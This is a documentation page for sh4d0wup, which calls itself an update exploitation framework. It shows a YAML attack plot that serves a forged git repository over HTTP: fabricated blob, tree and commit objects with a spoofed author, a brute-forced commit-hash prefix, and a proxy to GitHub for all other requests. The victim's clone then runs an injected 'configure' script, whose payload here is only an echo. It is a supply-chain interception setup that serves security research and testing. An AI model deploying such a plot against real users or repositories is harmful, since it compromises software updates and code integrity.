sh4d0wup 0.11.0

Signing-key abuse and update exploitation framework
Documentation 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86

---

upstreams:
  github:
    url: https://github.com/

check:
  image: cgr.dev/chainguard/git
  cmds:
    - 'git clone http://${SH4D0WUP_BOUND_ADDR}/kpcyrd/sh4d0wup'
    - ['git', '-C', 'sh4d0wup', 'rev-parse', 'HEAD']
    - ['git', '-C', 'sh4d0wup', 'cat-file', 'commit', 'HEAD']
    - 'for f in sh4d0wup/*; do echo "$f"; done'
    - ['./sh4d0wup/configure']

artifacts:
  blob:
    type: git
    git: blob
    data: |
      #!/bin/sh
      echo hi wurld
      echo 1300 + 37 = $((1300+37))

  tree:
    type: git
    git: tree
    entries:
      - mode: blob-executable
        filename: configure
        oid:
          artifact: blob

  commit:
    type: git
    git: commit
    tree:
      artifact: tree
    author: kpcyrd <git@rxv.cc> 1637076383 +0100
    committer: kpcyrd <git@rxv.cc> 1637076383 +0100
    message: "Release v0.3.0\n"
    collision_prefix: "dead"
    #collision_prefix: "deadbeef"
    #collision_prefix: "eeeeeee"

  refs:
    type: git
    git: ref-list
    refs:
      refs/heads/main:
        artifact: commit

routes:
  - path: '/kpcyrd/sh4d0wup/info/refs'
    type: static
    args:
      artifact: refs
  - path: '/kpcyrd/sh4d0wup/HEAD'
    type: static
    args:
      data: |
        ref: refs/heads/main
  - path: '/kpcyrd/sh4d0wup/objects/info/packs'
    type: static
    args:
      data: "\n"
  - path: '/kpcyrd/sh4d0wup/objects/info/http-alternates'
    type: static
    args:
      data: "\n"
  - path: '/kpcyrd/sh4d0wup/objects/info/alternates'
    type: static
    args:
      data: "\n"
  - type: static
    args:
      path_template: '/kpcyrd/sh4d0wup/objects/{{slice-until (sha1) 2}}/{{slice-after (sha1) 2}}'
      artifacts:
        - commit
        - tree
        - blob
      compress: zlib

  - type: proxy
    args:
      upstream: github